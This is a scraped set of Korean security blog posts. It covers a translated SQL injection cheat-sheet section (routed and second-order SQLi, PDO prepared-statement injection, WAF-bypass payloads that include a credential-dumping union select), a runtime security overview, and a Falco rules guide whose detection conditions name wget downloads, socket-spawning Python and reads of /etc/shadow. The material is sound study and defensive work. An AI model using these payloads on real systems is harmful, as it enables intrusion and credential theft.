\u0026#34;*/ Routed 인젝션 Routed SQL 인젝션은 주입 가능한 쿼리가 출력을 제공하는 것이 아니라, 주입 가능한 쿼리의 출력이 출력을 제공하는 쿼리로 가는 상황이다. — Zenodermus Javanicus\n간단히 말해, 첫 번째 SQL 쿼리의 결과가 두 번째 SQL 쿼리를 구성하는 데 사용된다. 일반적인 형식은 ' union select 0xHEXVALUE --이며, HEX는 두 번째 쿼리를 위한 SQL 인젝션이다.\n예시 1:\n0x2720756e696f6e2073656c65637420312c3223은 ' union select 1,2#의 hex 인코딩이다.\n\u0026#39; union select 0x2720756e696f6e2073656c65637420312c3223# 예시 2:\n0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061는 -1' union select login,password from users-- a의 hex 인코딩이다.\n-1\u0026#39; union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a Second Order SQL Injection Second Order SQL 인젝션은 악성 SQL 페이로드가 처음에 애플리케이션의 DB에 저장됐다가 나중에 같은 애플리케이션의 다른 기능에 의해 실행되는 SQL 인젝션의 하위 유형이다. 1차 SQLi와 달리 인젝션은 즉시 발생하지 않는다. 별도의 단계에서 트리거되며, 종종 애플리케이션의 다른 부분에서 발생한다.\n사용자가 저장되는 입력을 제출한다 (예: 회원가입 또는 프로필 업데이트).\nUsername: attacker\u0026#39;-- Email: attacker@example.com 해당 입력이 검증 없이 저장되지만 SQL 인젝션을 트리거하지는 않는다.\nINSERT INTO users (username, email) VALUES (\u0026#39;attacker\\\u0026#39;--\u0026#39;, \u0026#39;attacker@example.com\u0026#39;); 나중에 애플리케이션이 저장된 데이터를 SQL 쿼리에서 가져와 사용한다.\nquery = \u0026#34;SELECT * FROM logs WHERE username = \u0026#39;\u0026#34; + user_from_db + \u0026#34;\u0026#39;\u0026#34; 이 쿼리가 안전하지 않게 구성되면 인젝션이 트리거된다.\nPDO Prepared Statements PDO(PHP Data Objects)는 DB에 접근하고 상호작용하는 일관되고 안전한 방법을 제공하는 PHP 확장이다. MySQL, PostgreSQL, SQLite 등 여러 유형의 DB에서 일관된 API를 사용할 수 있도록 표준화된 DB 상호작용 방식을 제공하도록 설계됐다.\nPDO는 입력 파라미터 바인딩을 허용해 SQL 쿼리의 일부로 실행되기 전에 사용자 데이터가 제대로 살균되도록 한다. 그러나 개발자가 SQL 쿼리 내에 사용자 입력을 허용했다면 여전히 SQL 인젝션에 취약할 수 있다.\n조건:\nDBMS\nMySQL은 기본적으로 취약하다. Postgres는 기본적으로 취약하지 않으나, PDO::ATTR_EMULATE_PREPARES =\u0026gt; true로 에뮬레이션이 켜져 있으면 취약하다. SQLite는 이 공격에 취약하지 않다. PDO 문 내 어디서든 SQL 인젝션: $pdo-\u0026gt;prepare(\u0026quot;SELECT $INJECT_SQL_HERE...\u0026quot;).\n? 또는 :parameter로 다른 SQL 파라미터에 PDO를 사용한다.\n$pdo = new PDO(APP_DB_HOST, APP_DB_USER, APP_DB_PASS); $col = \u0026#39;`\u0026#39; . str_replace(\u0026#39;`\u0026#39;, \u0026#39;``\u0026#39;, $_GET[\u0026#39;col\u0026#39;]) . \u0026#39;`\u0026#39;; $stmt = $pdo-\u0026gt;prepare(\u0026#34;SELECT $col FROM animals WHERE name = ?\u0026#34;); $stmt-\u0026gt;execute([$_GET[\u0026#39;name\u0026#39;]]); // 또는 $stmt = $pdo-\u0026gt;prepare(\u0026#34;SELECT $col FROM animals WHERE name = :name\u0026#34;); $stmt-\u0026gt;execute([\u0026#39;name\u0026#39; =\u0026gt; $_GET[\u0026#39;name\u0026#39;]]); 방법론:\n참고: PHP 8.3 이하에서는 null 바이트(\\0) 없이도 인젝션이 발생한다. 공격자는 \u0026ldquo;:\u0026rdquo; 또는 \u0026ldquo;?\u0026ldquo;만 밀수입하면 된다.\n?#\\0으로 SQLi 탐지: GET /index.php?col=%3f%23%00\u0026amp;name=anything\n# 1번째 페이로드: ?#\\0 # 2번째 페이로드: anything You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near \u0026#39;`\u0026#39;anything\u0026#39;#\u0026#39; at line 1 컬럼명 대신 `'x`를 강제 선택하고 주석 생성. 백틱을 주입해 컬럼을 수정하고 ;#으로 SQL 쿼리 종료: GET /index.php?col=%3f%23%00\u0026amp;name=x%60;%23\n# 1번째 페이로드: ?#\\0 # 2번째 페이로드: x`;# Column not found: 1054 Unknown column \u0026#39;\u0026#39;x\u0026#39; in \u0026#39;SELECT\u0026#39; 두 번째 파라미터에 페이로드 주입. GET /index2.php?col=\\%3f%23%00\u0026amp;name=x%60+FROM+(SELECT+table_name+AS+%60'x%60+from+information_schema.tables)y%3b%2523\n# 1번째 페이로드: \\?#\\0 # 2번째 페이로드: x` FROM (SELECT table_name AS `\u0026#39;x` from information_schema.tables)y;%23 ALL_PLUGINS APPLICABLE_ROLES CHARACTER_SETS ... 최종 SQL 쿼리\n-- $pdo-\u0026gt;prepare 이전 SELECT `\\?#\\0` FROM animals WHERE name = ? -- $pdo-\u0026gt;prepare 이후 SELECT `\\\u0026#39;x` FROM (SELECT table_name AS `\\\u0026#39;x` from information_schema.tables)y;#\u0026#39;#\\0` FROM animals WHERE name = ? WAF 우회 (일반) 공백 금지 일부 웹 애플리케이션은 공백 문자를 차단하거나 제거해 단순 SQL 인젝션 공격을 막으려 한다. 그러나 공격자는 대체 공백 문자, 주석, 괄호를 창의적으로 사용해 이 필터를 우회할 수 있다.\n대체 공백 문자 대부분의 DB는 특정 ASCII 제어 문자와 인코딩된 공백(탭, 줄바꿈 등)을 SQL 문에서 공백으로 해석한다. 이 문자들을 인코딩해 공백 기반 필터를 우회할 수 있다.\n페이로드 예시 설명 ?id=1%09and%091=1%09-- %09 = 탭 (\\t) ?id=1%0Aand%0A1=1%0A-- %0A = 줄바꿈 (\\n) ?id=1%0Band%0B1=1%0B-- %0B = 수직 탭 ?id=1%0Cand%0C1=1%0C-- %0C = 폼 피드 ?id=1%0Dand%0D1=1%0D-- %0D = 캐리지 리턴 (\\r) ?id=1%A0and%A01=1%A0-- %A0 = 논브레이킹 스페이스 DB별 ASCII 공백 지원:\nDBMS 지원하는 공백 문자 (Hex) SQLite3 0A, 0D, 0C, 09, 20 MySQL 5 09, 0A, 0B, 0C, 0D, A0, 20 MySQL 3 01–1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 PostgreSQL 0A, 0D, 0C, 09, 20 Oracle 11g 00, 0A, 0D, 0C, 09, 20 MSSQL 01–1F, 20 주석과 괄호로 우회 SQL은 주석과 그룹화를 허용해 키워드와 쿼리를 분리할 수 있으므로 공백 필터를 무력화한다:\n우회 기법 ?id=1/*comment*/AND/**/1=1/**/-- 주석 ?id=1/*!12345UNION*//*!12345SELECT*/1-- 조건부 주석 ?id=(1)and(1)=(1)-- 괄호 쉼표 금지 OFFSET, FROM, JOIN으로 우회한다.\n금지 우회 LIMIT 0,1 LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) SUBSTR('SQL' FROM 1 FOR 1) SELECT 1,2,3,4 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d 등호 금지 LIKE/NOT IN/IN/BETWEEN으로 우회한다.\n우회 SQL 예시 LIKE SUBSTRING(VERSION(),1,1)LIKE(5) NOT IN SUBSTRING(VERSION(),1,1)NOT IN(4,3) IN SUBSTRING(VERSION(),1,1)IN(4,3) BETWEEN SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4 대소문자 변형 대/소문자로 우회한다.\n우회 기법 AND 대문자 and 소문자 aNd 혼합 대소문자 구분 없는 키워드 또는 동등한 연산자로 우회한다.\n금지 우회 AND \u0026amp;\u0026amp; OR || = LIKE, REGEXP, BETWEEN \u0026gt; NOT BETWEEN 0 AND X WHERE HAVING 실습 PortSwigger - WHERE 절 SQL 인젝션으로 숨겨진 데이터 조회 PortSwigger - 로그인 우회 SQL 인젝션 PortSwigger - XML 인코딩 필터 우회 SQL 인젝션 PortSwigger - SQL 전체 실습 Root Me - SQL injection - Authentication Root Me - SQL injection - Authentication - GBK Root Me - SQL injection - String Root Me - SQL injection - Numeric Root Me - SQL injection - Routed Root Me - SQL injection - Error Root Me - SQL injection - Insert Root Me - SQL injection - File reading Root Me - SQL injection - Time based Root Me - SQL injection - Blind Root Me - SQL injection - Second Order Root Me - SQL injection - Filter bypass Root Me - SQL Truncation 참고 A Novel Technique for SQL Injection in PDO\u0026rsquo;s Prepared Statements - Adam Kues - 2025년 7월 21일 Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection - Not So Secure - 2018년 2월 9일 Implement a Blind Error-Based SQLMap payload for SQLite - soka - 2023년 8월 24일 Manual SQL Injection Discovery Tips - Gerben Javado - 2017년 8월 26일 NetSPI SQL Injection Wiki - NetSPI - 2017년 12월 21일 PentestMonkey\u0026rsquo;s mySQL injection cheat sheet - @pentestmonkey - 2011년 8월 15일 SQLi Cheatsheet - NetSparker - 2022년 3월 19일 SQLi in INSERT worse than SELECT - Mathias Karlsson - 2017년 2월 14일 SQLi Optimization and Obfuscation Techniques - Roberto Salgado - 2013년 7월 31일 The SQL Injection Knowledge base - Roberto Salgado - 2013년 5월 29일 ","permalink":"https://charminggroot.github.io/posts/sql-injection/","summary":"PayloadsAllTheThings SQL Injection 챕터 전문 번역.","title":"보안-06. SQL Injection"},{"content":"왜 \u0026ldquo;런타임\u0026rdquo; 보안인가 보안은 크게 두 시점으로 나뉜다.\n빌드·배포 단계 (정적) — 코드 취약점 스캔(SAST), 의존성 취약점(SCA), 컨테이너 이미지 스캔, 시크릿 탐지. SkillSpector나 Semgrep이 여기 속한다. 실행 단계 (런타임) — 프로세스가 이미 돌고 있는 상황. 실제 공격은 대부분 여기서 일어난다. 정적 분석은 \u0026ldquo;이 코드에 취약점이 있는가?\u0026ldquo;를 묻고, 런타임 보안은 \u0026ldquo;지금 이 시스템에서 이상한 일이 일어나고 있는가?\u0026ldquo;를 묻는다.\n공격자가 취약점을 찾아 침투하면, 코드 스캔이 아무리 잘 돼 있어도 런타임에서는 정상적인 프로세스 뒤에 숨어 움직인다. 그래서 두 계층이 모두 필요하다.\n공격의 흐름: MITRE ATT\u0026amp;CK 공격자는 무작위로 행동하지 않는다. 재현 가능한 패턴이 있다. MITRE ATT\u0026amp;CK는 이 패턴을 14개 전술(Tactic)과 수백 개의 기법(Technique/Sub-technique)으로 분류한다.\n초기 접근(TA0001) → 실행(TA0002) → 지속성(TA0003) Phishing, 취약점 익스플로잇 cmd/PowerShell/Script 실행 백도어, 예약 작업, 서비스 등록 권한 상승(TA0004) → 방어 회피(TA0005) → 자격증명 탈취(TA0006) sudo 악용, SUID 바이너리 로그 삭제, 프로세스 인젝션 /etc/shadow 덤프, Mimikatz 탐색(TA0007) → 내부 이동(TA0008) → 수집(TA0009) 네트워크·파일 스캔 SSH pivot, PsExec 민감 파일 찾기 C2(TA0011) → 유출(TA0010) → 영향(TA0040) 암호화 채널, DNS 터널 파일 압축 후 업로드 랜섬웨어, 시스템 파괴 Sigma 룰의 tags 필드가 attack.t1059처럼 기법 ID를 달고 있는 이유가 여기 있다. 탐지 룰을 ATT\u0026amp;CK에 매핑하면 \u0026ldquo;우리가 어떤 공격 단계를 커버하고 있고 어디가 blind spot인지\u0026rdquo; 가시화된다.\n보안 도구 4개 레이어 ───────────────────────────────────────────────────────── 레이어 1: 차단 (Prevention / Blocking) ───────────────────────────────────────────────────────── WAF (Web Application Firewall) - 들어오는 HTTP 요청을 검사 → XSS/SQLi/Path Traversal 등 차단 - 인라인(inline): 트래픽이 직접 통과. 막지 않으면 못 들어옴 - 대표 OSS: Coraza, ModSecurity ───────────────────────────────────────────────────────── 레이어 2: 탐지 (Detection / Monitoring) ───────────────────────────────────────────────────────── HIDS (Host-based IDS) - 서버/컨테이너 안에서 syscall, 프로세스, 파일, 네트워크를 감시 - 차단은 못 하지만(기본적으로) 이상한 행동을 \u0026#34;발견\u0026#34;하고 알린다 - 대표 OSS: Falco, OSSEC, Wazuh NIDS (Network IDS) - 네트워크 패킷 레벨에서 이상 트래픽 탐지 - 대표 OSS: Suricata, Snort, Zeek ───────────────────────────────────────────────────────── 레이어 3: 집계·분석 (Aggregation / Correlation) ───────────────────────────────────────────────────────── SIEM (Security Information and Event Management) - 여러 소스(서버 로그, WAF 로그, IDS 경보, AD 이벤트 등)를 한 곳에 모아 상관 분석(correlation)으로 공격 패턴을 식별 - 대표 OSS: Elasticsearch/OpenSearch + 시각화, Graylog, Wazuh SIEM - 상용: Splunk, QRadar, Microsoft Sentinel, Google Chronicle Sigma는 이 레이어의 \u0026#34;탐지 룰 언어\u0026#34;. SIEM마다 쿼리 문법이 달라서 한 번 Sigma로 쓰고 원하는 SIEM으로 변환하는 방식. ───────────────────────────────────────────────────────── 레이어 4: 자동 대응 (Response / SOAR) ───────────────────────────────────────────────────────── SOAR (Security Orchestration, Automation, and Response) - SIEM에서 경보가 오면 자동으로 대응 플레이북 실행 - 예: \u0026#34;특정 IP에서 brute force 탐지\u0026#34; → 방화벽 차단 + Slack 알림 + 티켓 생성 - 대표 OSS: Shuffle, TheHive + Cortex - 상용: Splunk SOAR, Palo Alto XSOAR 차단 vs 탐지: 뭐가 다른가 흔히 헷갈리는 지점이다.\nWAF (차단) IDS (탐지) 동작 방식 인라인 — 트래픽이 통과. 악성이면 드랍 아웃오브밴드 — 복사본 or 로그를 봄 오탐(FP) 영향 크다 — 정상 요청도 막힘 작다 — 경보만 날림 지연 영향 있음 — 모든 요청이 거침 없음 — 처리 흐름에 영향 안 줌 사용 목적 \u0026ldquo;막는다\u0026rdquo; \u0026ldquo;안다\u0026rdquo; Falco는 기본적으로 탐지 도구다. syscall을 모니터링하고 이상하면 경보를 날리지만, 프로세스를 죽이거나 syscall을 막지는 않는다(kill 액션을 설정하면 가능하지만 제한적). 그래서 Falco의 경보를 받아서 SOAR가 자동 대응하는 구조를 만드는 게 일반적이다.\n이벤트 소스: 뭘 보는가 런타임 보안 도구들이 보는 이벤트 소스는 크게 4가지다.\n1. Syscall (시스템 콜) OS와 프로세스 사이의 경계. open(), execve(), connect(), write() 같은 호출을 가로채면 프로세스가 무엇을 하는지 정확히 알 수 있다. 우회가 어렵다 — 사용자 공간의 어떤 코드도 커널 서비스를 받으려면 syscall을 써야 한다.\nFalco가 주로 보는 것.\n2. 커널 이벤트 (eBPF) eBPF(Extended Berkeley Packet Filter)를 쓰면 커널에 커스텀 코드를 안전하게 삽입할 수 있다. kprobe, tracepoint, XDP 등을 통해 syscall뿐 아니라 네트워크 스택, 파일시스템, 스케줄러까지 관찰 가능. Falco의 modern BPF 드라이버가 이 방식.\n3. 감사 로그 (Audit Logs) Linux auditd: 커널 감사 서브시스템. 파일 접근, 프로세스 실행, 네트워크 연결을 룰 기반으로 로그 Windows Event Log: Sysmon이 프로세스 생성, 네트워크 연결, 레지스트리 변경 등을 Event ID로 기록 K8s Audit: API server가 모든 요청을 감사 로그로 남김 (누가 어떤 리소스를 만들었는지) Cloud Audit: CloudTrail(AWS), Cloud Audit Logs(GCP) 등 Sigma 룰의 logsource가 이것들을 가리킨다.\n4. 컨테이너/K8s 메타데이터 컨테이너 런타임(containerd, CRI-O)과 K8s API가 제공하는 컨텍스트. \u0026ldquo;이 syscall은 my-app Deployment의 backend 컨테이너에서 발생했다\u0026quot;는 정보를 붙여준다. Falco가 이 메타데이터를 syscall 이벤트에 enrichment로 추가한다.\nWAF 동작 원리 (Coraza/ModSecurity 기준) HTTP 요청이 들어오면 4개의 Phase를 순서대로 거친다.\nPhase 1: Request Headers — User-Agent, Cookie, Content-Type 등 Phase 2: Request Body — POST body, JSON payload, 파일 업로드 Phase 3: Response Headers — Set-Cookie, X-Powered-By 등 Phase 4: Response Body — HTML, JSON 응답 (민감 정보 유출 방지) 각 Phase에서 SecLang(ModSecurity 룰 언어)으로 쓴 룰이 패턴 매칭. CRS(Core Rule Set)는 이 룰들의 대규모 모음이다.\n# 예시: SQLi 탐지 룰 (CRS 스타일) SecRule REQUEST_URI|REQUEST_BODY \\ \u0026#34;@detectSQLi\u0026#34; \\ \u0026#34;id:942100,phase:2,deny,status:403,msg:\u0026#39;SQL Injection\u0026#39;\u0026#34; OWASP CRS는 XSS, SQLi, RFI, LFI, RCE, PHP injection, Command Injection, Scanner 탐지 등 3000개 이상의 룰을 제공한다.\nSIEM의 상관 분석 (Correlation) 개별 이벤트 하나만 봐서는 공격인지 모르는 경우가 많다. 상관 분석은 여러 이벤트를 시간/컨텍스트로 연결한다.\n예:\n\u0026ldquo;같은 IP에서 5분 안에 로그인 실패가 10번 넘으면 → brute force\u0026rdquo; \u0026ldquo;프로세스 A가 spawn한 B가 외부에 connect한 직후 C가 /etc/shadow를 열면 → credential dump\u0026rdquo; Sigma v2의 correlation 기능이 바로 이걸 규칙화한다. 단순 pattern match에서 시간 기반 상관관계로 넘어간다.\n보안 에이전트가 그리는 그림 이 문서들이 지향하는 목표:\n┌─────────────────────────────────────────────────────┐ │ 보안 에이전트 (LLM Brain) │ │ 관측 → 추론 → 대응 플레이북 실행 │ └─────┬────────────────────────────────────┬──────────┘ │ 경보 입력 │ 대응 명령 ┌─────▼──────────────────────┐ ┌────────▼─────────────┐ │ 탐지 레이어 │ │ 대응 레이어 │ │ • Falco (runtime syscall) │ │ • IP 차단 │ │ • Sigma (log detection) │ │ • 컨테이너 격리 │ │ • Suricata (network) │ │ • 티켓 생성 │ └─────────────────────────── ┘ │ • Slack 알림 │ └────────────────────────┘ ┌──────────────────────────────────────────────────────┐ │ 차단 레이어 │ │ • Coraza/CRS (WAF: XSS/SQLi 인라인 차단) │ └──────────────────────────────────────────────────────┘ Falco + Sigma는 탐지 레이어. 이 두 도구의 경보를 에이전트가 받아서 Temporal/ReactFlow 기반 플레이북으로 대응하는 구조가 최종 목표.\n용어 정리 용어 풀이 HIDS Host-based IDS. 호스트 안을 봄 NIDS Network-based IDS. 네트워크 패킷을 봄 SIEM 로그 수집·저장·상관 분석 플랫폼 SOAR 보안 오케스트레이션·자동화·대응 WAF 웹 레이어 인라인 차단 IPS IDS + 인라인 차단 능력 추가 eBPF 커널에 안전하게 코드 삽입하는 기술 Syscall 사용자 공간 ↔ 커널 간 인터페이스 SecLang ModSecurity/WAF 룰 언어 CRS OWASP Core Rule Set (WAF 룰 묶음) ATT\u0026amp;CK MITRE의 공격 전술·기법 분류 체계 IOC Indicator of Compromise. 침해 지표 (IP, 해시, 도메인 등) TTP Tactics, Techniques, Procedures. ATT\u0026amp;CK의 분류 단위 SOC Security Operations Center. 보안 관제 조직 DFIR Digital Forensics \u0026amp; Incident Response ","permalink":"https://charminggroot.github.io/posts/runtime-security-ecosystem/","summary":"Falco·Sigma·Coraza를 이해하기 위한 런타임 보안 생태계 전체 그림. WAF/IDS/SIEM/SOAR의 역할 구분, 탐지-차단-대응 3계층, MITRE ATT\u0026amp;CK 기초.","title":"보안-00. 런타임 보안 생태계 — 기초 개념 전체 지도"},{"content":"Falco란 Falco는 Linux 런타임에서 비정상 행동을 실시간 탐지하는 CNCF Graduated 프로젝트다. 원래 Sysdig가 2016년 오픈소스로 공개했고, 2020년 CNCF Incubating → 2024년 Graduated.\n핵심 아이디어: 커널에서 발생하는 모든 syscall을 관찰하고, 사용자가 작성한 룰과 매칭되면 경보를 낸다.\n컨테이너·K8s 환경에서도 \u0026ldquo;어떤 Pod의 어떤 컨테이너\u0026quot;가 그 syscall을 불렀는지 메타데이터를 enrichment로 붙여준다.\n차단 도구가 아니다. 기본적으로 관찰하고 알린다 (alert-only). 필요하면 kill 액션을 룰에 붙일 수 있지만 추가 설정이 필요하고 주의가 필요하다.\n아키텍처 전체 그림 ┌─────────────────────────────────────────────────────────────────────┐ │ Linux Kernel │ │ ┌──────────────────────────────────────────────────────────────┐ │ │ │ syscall table: open, execve, connect, write, read, ... │ │ │ └──────────────────┬───────────────────────────────────────────┘ │ │ │ 후킹(driver가 이 지점을 인터셉트) │ │ ┌──────────────────▼────────────────────────────────────────────┐ │ │ │ Falco Driver (3종 중 하나 선택) │ │ │ │ • Kernel Module (kmod) │ │ │ │ • Legacy eBPF probe │ │ │ │ • Modern eBPF probe (권장, CO-RE 기반) │ │ │ └──────────────────┬──────────────────────────────────────────── ┘ │ └────────────────────-│──────────────────────────────────────────────-┘ │ ring buffer를 통해 이벤트 전달 ┌─────────────────────▼──────────────────────────────────────────────┐ │ Falco 사용자 공간 바이너리 │ │ │ │ libscap ─── 이벤트 캡처·디코딩 (syscall 번호 → 이벤트 구조체) │ │ │ │ │ libsinsp ── 상태 추적(프로세스 트리, FD 테이블, 컨테이너 메타데이터) │ │ │ enrichment: proc.*, fd.*, container.*, k8s.* 필드 채움 │ │ │ │ │ Rule Engine ── 룰 파싱, 필터 컴파일, 이벤트 매칭 │ │ │ (falco_engine.cpp + libfilter) │ │ │ │ │ Output ───── stdout, syslog, file, http, program │ └─────────────────────────────────────────────────────────────────────┘ libscap \u0026ldquo;Sysdig capture\u0026rdquo; 라이브러리. 드라이버(커널 모듈 or eBPF)로부터 이벤트를 읽어서 내부 포맷으로 디코딩하는 역할. scap 이벤트는 타입, 타임스탬프, 인자들을 담은 구조체.\nlibsinsp \u0026ldquo;Sysdig inspect\u0026rdquo;. libscap 이벤트를 받아서 상태를 유지한다. 예를 들어 어떤 PID가 어떤 파일을 열었는지(FD 테이블), 어떤 PID의 부모가 누구인지(프로세스 트리)를 추적한다. 이 상태 덕분에 proc.pname 같은 필드(부모 프로세스 이름)를 룰에서 쓸 수 있다.\n컨테이너 런타임(containerd/CRI-O)에 붙어서 container ID → 이미지/label/namespace 매핑도 여기서 한다.\nRule Engine 룰 파일을 파싱하고 각 룰의 condition을 내부 필터 AST로 컴파일한다. 이벤트가 올 때마다 필터를 평가해서 매칭되는 룰이 있으면 출력 메시지를 만들어 내보낸다.\n3가지 드라이버 1. Kernel Module (kmod) 가장 오래된 방식. .ko 파일을 커널에 올린다. 커널 버전에 맞게 컴파일해야 한다. 성능이 가장 좋지만 커널 ABI 의존성 때문에 커널 업그레이드 시 다시 빌드해야 할 수 있다. DKMS(Dynamic Kernel Module Support)로 자동 빌드하는 게 일반적.\n운영 환경: VM 또는 bare-metal에서 커널 모듈 로드가 허용된 경우.\n2. Legacy eBPF Probe 커널 4.14+ 에서 동작. eBPF CO-RE(Compile Once, Run Everywhere) 적용 전 버전이라 특정 커널 헤더 의존성이 있다. 커널 패닉 위험이 kmod보다 낮다(eBPF verifier가 검증).\n3. Modern eBPF Probe (권장) 커널 5.8+ (CONFIG_DEBUG_INFO_BTF=y 필요). CO-RE 기반이라 한 번 컴파일한 바이너리가 여러 커널 버전에서 동작. BTF(BPF Type Format)로 커널 구조체 오프셋을 런타임에 추론한다. Falco 공식 권장 드라이버.\n# 드라이버 선택 (falco.yaml) engine: kind: modern_ebpf # kmod | ebpf | modern_ebpf eBPF 기초 (알아두면 좋은 것) eBPF는 \u0026ldquo;확장 BPF\u0026rdquo;. 원래 BPF는 패킷 필터링용(tcpdump가 쓰는 것)이었는데, Linux 3.18+부터 범용 커널 내 VM으로 확장됐다.\n핵심 특성:\n안전: eBPF 프로그램은 커널 로딩 전 verifier를 통과해야 한다. 무한 루프, 잘못된 메모리 접근은 거부된다. 고성능: 컨텍스트 스위치 없이 커널 안에서 실행된다. 이식성(CO-RE): BTF를 이용해 커널 버전마다 구조체 레이아웃이 달라도 런타임에 오프셋을 조정한다. Falco의 modern eBPF는 kprobe/tracepoint를 후킹 포인트로 쓴다:\nsys_enter_execve: 프로세스 실행 직전 sys_exit_execve: 실행 직후 (성공/실패 여부 포함) sys_enter_openat, sys_exit_openat: 파일 열기 sys_enter_connect, sys_exit_connect: TCP 연결 \u0026hellip; 이벤트는 커널 ring buffer → 사용자 공간 ring buffer → libscap으로 흐른다.\n이벤트 소스 Falco가 보는 이벤트는 syscall만이 아니다.\n소스 설명 플러그인 syscall 기본. kmod/eBPF로 수집 내장 k8saudit K8s API server audit log k8saudit 플러그인 cloudtrail AWS CloudTrail 이벤트 cloudtrail 플러그인 okta Okta 감사 이벤트 okta 플러그인 github GitHub webhook 이벤트 github 플러그인 플러그인은 Go로 작성된 별도 바이너리. Falco가 동적으로 로드한다.\n룰 구조: 전체 문법 Falco 룰 파일은 YAML. 4가지 최상위 엔티티가 있다.\n1. rule - rule: Unexpected Outbound Connection desc: | 프로세스가 예상치 못한 외부 IP에 연결을 시도했다. condition: \u0026gt; outbound and not proc.name in (allowed_binaries) and not fd.sip.name in (trusted_domains) output: \u0026gt; Unexpected connection (proc=%proc.name pid=%proc.pid user=%user.name ip=%fd.rip port=%fd.rport container=%container.name) priority: WARNING tags: [network, mitre_command_and_control] enabled: true warn_evttypes: false # condition이 특정 이벤트 타입에 묶이지 않을 때 경고 억제 필드 필수 설명 rule ✅ 룰 이름 (유니크해야 함) desc ✅ 설명 condition ✅ 이벤트 필터 표현식 output ✅ 경보 메시지 템플릿 priority ✅ EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFORMATIONAL, DEBUG tags - 분류 태그 enabled - false면 비활성 (기본 true) exceptions - 예외 조건 목록 2. macro 반복 사용하는 조건 조각을 이름에 묶는다. 룰의 condition에서 참조.\n- macro: outbound condition: (evt.type = connect and evt.dir = \u0026lt;) - macro: container condition: (container.id != host) - macro: spawned_process condition: (evt.type = execve and evt.dir = \u0026lt;) 매크로 안에서 다른 매크로를 참조할 수 있다:\n- macro: container_started condition: (spawned_process and container) 3. list 값들의 목록. 조건에서 in 연산자와 함께 쓴다.\n- list: allowed_binaries items: [curl, wget, git, python3, node] - list: sensitive_files items: - /etc/shadow - /etc/passwd - /root/.ssh/authorized_keys - /etc/kubernetes/admin.conf 4. exception 룰 내 예외를 구조적으로 정의. exceptions 키로 룰에 붙인다.\n- rule: Write Below etc desc: 프로세스가 /etc 아래에 파일을 씀 condition: \u0026gt; open_write and fd.name startswith /etc exceptions: - name: known_etc_writers fields: [proc.name, fd.name] comps: [in, startswith] values: - [dpkg, /etc/apt] - [puppet, /etc/puppet] output: Write below /etc (proc=%proc.name file=%fd.name) priority: ERROR 조건 표현식 (condition) condition은 boolean 표현식이다. 연산자:\nand, or, not =, !=, \u0026lt;, \u0026lt;=, \u0026gt;, \u0026gt;= in, not in # 목록 포함 여부 contains # 문자열 포함 startswith # 접두사 endswith # 접미사 glob # 글로브 패턴 (* ? [] 지원) pmatch # prefix match regex # PCRE 정규식 exists # 필드가 존재하는지 (null 체크) 예시들:\n# 특정 syscall 타입 필터 condition: evt.type = execve # 방향 필터 (\u0026gt; = 호출 진입, \u0026lt; = 호출 반환) condition: evt.type = connect and evt.dir = \u0026lt; # 리스트 포함 condition: proc.name in (bash, sh, zsh, dash) # not in condition: not proc.name in (known_processes) # 문자열 매칭 condition: fd.name startswith /etc/ condition: fd.name contains shadow condition: proc.cmdline contains \u0026#34;wget http\u0026#34; # 정규식 condition: proc.cmdline regex \u0026#34;base64\\\\s+-d\u0026#34; # glob condition: fd.name glob \u0026#34;/tmp/*.sh\u0026#34; # 복합 조건 condition: \u0026gt; spawned_process and container and proc.name in (python, python3) and proc.cmdline contains \u0026#34;import socket\u0026#34; 필드 레퍼런스 Falco가 제공하는 필드는 카테고리별로 나뉜다.\nevt.* — 이벤트 자체 필드 타입 설명 evt.type string syscall 이름 (execve, open, connect, \u0026hellip;) evt.dir char \u0026gt; = 진입(enter), \u0026lt; = 반환(exit) evt.time uint64 나노초 타임스탬프 evt.cpu uint16 실행된 CPU 번호 evt.args string syscall 인자들 전체 텍스트 evt.res int64 반환값 (성공=양수, 실패=음수 errno) evt.failed bool evt.res \u0026lt; 0 evt.rawres int64 원시 반환값 proc.* — 프로세스 필드 타입 설명 proc.pid int64 PID proc.tid int64 스레드 ID proc.name string 프로세스 이름 (basename) proc.exepath string 실행 파일 전체 경로 proc.cmdline string 명령어 + 인자 전체 proc.args string 인자만 proc.cwd string 현재 작업 디렉터리 proc.ppid int64 부모 PID proc.pname string 부모 프로세스 이름 proc.pcmdline string 부모 명령어 proc.aname[n] string n번째 조상 프로세스 이름 (0=부모, 1=조부모\u0026hellip;) proc.env string 환경변수 전체 proc.env[VAR] string 특정 환경변수 값 proc.sid int64 세션 ID proc.tty uint16 TTY 번호 (0이면 데몬) proc.is_container_healthcheck bool K8s 헬스체크 프로세스인지 fd.* — 파일 디스크립터 필드 타입 설명 fd.name string 파일 경로 or 소켓 정보 fd.num int64 FD 번호 fd.type string file, directory, ipv4, ipv6, unix, pipe, \u0026hellip; fd.ip ipnet 소켓 IP (로컬+원격 둘 다) fd.lip ipaddr 로컬 IP fd.rip ipaddr 원격 IP fd.rip.name string 원격 IP의 역방향 DNS fd.lport uint16 로컬 포트 fd.rport uint16 원격 포트 fd.l4proto string tcp, udp, sctp fd.sport string 서버 포트 fd.cport string 클라이언트 포트 fd.sip ipaddr 서버 IP fd.cip ipaddr 클라이언트 IP user.* — 사용자 필드 타입 설명 user.uid uint32 UID user.name string 사용자 이름 user.gid uint32 GID user.group string 그룹 이름 user.loginuid int32 로그인 UID (아무도 없으면 -1) user.loginname string 로그인 이름 container.* — 컨테이너 필드 타입 설명 container.id string 컨테이너 ID (12자) container.full_id string 전체 ID (64자) container.name string 컨테이너 이름 container.image string 이미지 이름:태그 container.image.id string 이미지 ID container.image.repository string 이미지 레포 container.image.tag string 이미지 태그 container.privileged bool privileged 모드인지 container.mounts string 마운트 정보 container.label[LABEL] string 특정 레이블 값 k8s.* — 쿠버네티스 필드 타입 설명 k8s.pod.name string Pod 이름 k8s.pod.id string Pod UUID k8s.pod.label[LABEL] string Pod 레이블 값 